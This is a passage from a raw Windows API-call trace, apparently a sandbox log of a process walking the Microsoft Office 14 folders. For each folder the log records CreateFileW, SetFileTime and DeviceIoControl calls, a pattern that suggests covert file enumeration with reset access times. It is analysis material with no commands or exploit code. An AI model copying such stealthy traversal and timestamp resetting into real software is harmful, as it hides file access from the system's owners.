lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.158] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.158] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.161] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.161] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.167] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.167] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.174] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.174] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.179] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.179] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.182] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.182] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.186] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.186] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.189] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.189] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.192] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.192] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" (normalized: "c:\\program files\\microsoft office\\office14\\addins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.197] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.197] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.202] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.202] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.207] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.207] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.210] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.210] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" (normalized: "c:\\program files\\microsoft office\\office14\\borders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.215] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.215] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" (normalized: "c:\\program files\\microsoft office\\office14\\convert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.220] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.220] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.224] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.224] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" (normalized: "c:\\program files\\microsoft office\\office14\\document parts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.229] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.229] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.232] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.232] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.234] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.234] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" (normalized: "c:\\program files\\microsoft office\\office14\\forms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.236] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.237] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.239] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.239] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa62268, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa62268, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove" (normalized: "c:\\program files\\microsoft office\\office14\\groove"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.253] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.253] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.257] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.257] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.260] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.260] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.262] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.262] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.265] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.265] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.267] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.267] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.271] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.271] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.274] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.274] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.279] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.279] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.282] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.282] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.290] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.290] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.294] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.294] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.299] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.299] DeviceIoControl (in: hDevice=0x198, 